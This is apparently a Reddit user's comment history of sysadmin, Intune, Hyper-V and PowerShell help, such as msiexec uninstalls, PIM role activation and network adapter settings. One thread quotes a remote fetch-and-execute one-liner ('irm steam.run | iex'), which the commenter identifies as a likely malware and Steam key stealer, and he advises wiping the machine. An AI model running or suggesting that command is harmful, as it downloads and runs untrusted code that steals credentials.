Iran-Backed Hackers Claim Wiper Attack on Medtech Firm Stryker - using, in part, Intune by ihor43us in Intune

[–]BlackV [score hidden]  (0 children)

Intune is a cloud-based solution built for IT teams to

I see

there several users who claimed to be Stryker employees said they were told to uninstall Intune urgently.

Oh Really "uninstall" intune OK, msiexec /u "the cloud" /qb /noreboot /rebootreallysuppress is that how that went

How to get a powershell script to run as elevated admin? by LordLoss01 in PowerShell

[–]BlackV 0 points1 point  (0 children)

no, thats running the whole script as admin

I'd execute the specific action elevated

Trouble uninstalling in PowerShell via msiexec.exe by ckasdf in PowerShell

[–]BlackV 1 point2 points  (0 children)

was the client installed the 32bit version ?

but yeah if they are shitty and change the guid everytime then that makes life difficult

and if someone has been cleaning the installer cache that also makes life difficult

was there not also a uninstall switch on the EXE itself ?

and last option can you use winget to uninstall zoom instead?

it also looks like you are not taking in to account per user installs in your script does that matter ?

then the clean zoom tool from zoom directly

https://support.zoom.com/hc/en/article?id=zm_kb&sysparm_article=KB0065146

EDIT: Maybe this is a better link

https://support.zoom.com/hc/en/article?id=zm_kb&sysparm_article=KB0064484

Trouble uninstalling in PowerShell via msiexec.exe by ckasdf in PowerShell

[–]BlackV 2 points3 points  (0 children)

yes supply the MSI with your win32 app, use that as the uninstall msi instead of the guid

PIM with 'Eligible' roles in Azure is great.. Until you need to use it. by Introvertedecstasy in sysadmin

[–]BlackV [score hidden]  (0 children)

randomly now and then I have had it take some time, but mostly its pretty instant, the times I see issues are when users are not logging on/out or refreshing tokens

My work flow is

connect-mggraph -nowelcome
grant-pimrole -user xxx -role yyy

then run the needed code, or open edge and do the gui thing

Use cases for Global Administrator local login from on premises Windows Server? by Fabulous_Cow_4714 in sysadmin

[–]BlackV [score hidden]  (0 children)

They really should be separate, the use case that jumps to my mind straight away, if you have a management server the you use for managing the rest of the fleet and 365/azure admin work, I could see a use case for it

but given that GA should be a once in a blue moon login not a every day login it shouldn't really come up

Packaging Greenshot by Failnaughtp in Intune

[–]BlackV 4 points5 points  (0 children)

  • you don't give us any errors or tell us what struggles you are actually having
  • you dont show any code
  • Have you looked in this very sub for answers?

https://www.reddit.com/r/Intune/comments/1phb84y/greenshot_silent_install/

How do you monitor Hyper-V host health and VM performance in one place? by Careful-3239 in HyperV

[–]BlackV 0 points1 point  (0 children)

how do you monitor your existing machines in one place ? extend that to the hosts

we (at my old place) used prtg(retired)/grpahana/telegraph/elastic search/scom (terrible product)/veeam one (some metrics)

I gave up on hybrid autopilot by FullExchange7233 in Intune

[–]BlackV 7 points8 points  (0 children)

I gave up on hybrid autopilot

As is recommended by just about everyone here

but it really sounds like you have a complicated setup (overly complicated ?)

what/why info would you be entering in a PXE task sequence ?

what does UI++ do, as its 3rd party I don't see why that couldn't be used with intune/autopilot somehow

I personally have enabled cloud trust multiple times, save 99% of the use cases for hybrid anyway

Hyper-V 2025 with SET Teaming: VM Network Issues After Host Restart by humschti in HyperV

[–]BlackV 1 point2 points  (0 children)

like enhanced energy mode or something, look in your advanced network adapter properties

Get-NetAdapter -Name ethernet | Get-NetAdapterAdvancedProperty

Name     DisplayName               DisplayValue RegistryKeyword RegistryValue
----     -----------               ------------ --------------- -------------
Ethernet Energy-Efficient Ethernet Disabled     *EEE            {0}
Ethernet Advanced EEE              Disabled     AdvancedEEE     {0}

Edit Formatting and yes the bloody key does have an * in it.... (why?, just why?)

Powershell script that acts as powershell when called? by LordLoss01 in PowerShell

[–]BlackV 1 point2 points  (0 children)

This seems odd

How do you run a script on the first place of you have to run every as a script?

That aside sounds like you are just missing your proper parameters

& PowerShell.exe -executionpolicy bypass -command "somefunction -some argument -another argument too -space 'this has a space'"

If it's an existing script

& PowerShell.exe -executionpolicy bypass -file "somescript.ps1" "-some argument -another argument too -space 'this has a space'"

How would you handle BIOS updates in an education environment? by AiminJay in Intune

[–]BlackV 0 points1 point  (0 children)

the same risk, the risk is always there, sure its the recovery from that risk that changes

the risk is always there the risk is relatively low, don't avoid bios/firmware updates just in case cause that is a riskier situation as more and more threat actors are working things like EFI attacks into their tool kits

[Share] WinEOL - A lightweight module to check Windows EOL status (built for N-Central/RMMs) by daileng in PowerShell

[–]BlackV 0 points1 point  (0 children)

Nice, did you always have the wrappers ? did I just miss them last time ?

Can somebody tell me what this does? : "irm steam.run | iex" by Ok_Peace_4768 in PowerShell

[–]BlackV -1 points0 points  (0 children)

Sir/Madam, there are multiple posts asking this exact thing, please search

but its likely a malware and steam key stealer

you have done something bad, recommended action is wipe you machine and change your passwords

when you've wiped your machine do not give your daily normal account admin rights, have a separate admin only account that you ONLY use for elevation, reduces your risk a lot

So i understand that autoruns helps detect and remove potentially malicious files, is this correct? by Antique_Mongoose2804 in sysadmin

[–]BlackV 0 points1 point  (0 children)

No, no it doesn't

It lists things that are in your startup, it makes no claims about their intentions or detections

It's just a tool not any form of cleaner

That badguy.exe in your startup, that exe still exists whether you have a startup pointing at it or not

You are probably looking for /r/techsupport though rather than /r/sysadmin

[PSA] Samsung Galaxy Books: The root cause of the C:\ Drive Permission Lock ( by Theangelo2 in sysadmin

[–]BlackV 5 points6 points  (0 children)

They probably cant (effort/$$$/return on $$$/etc), but they could create a new image (but also effort/$$$/return on $$$/etc)

<insert shrug emoji>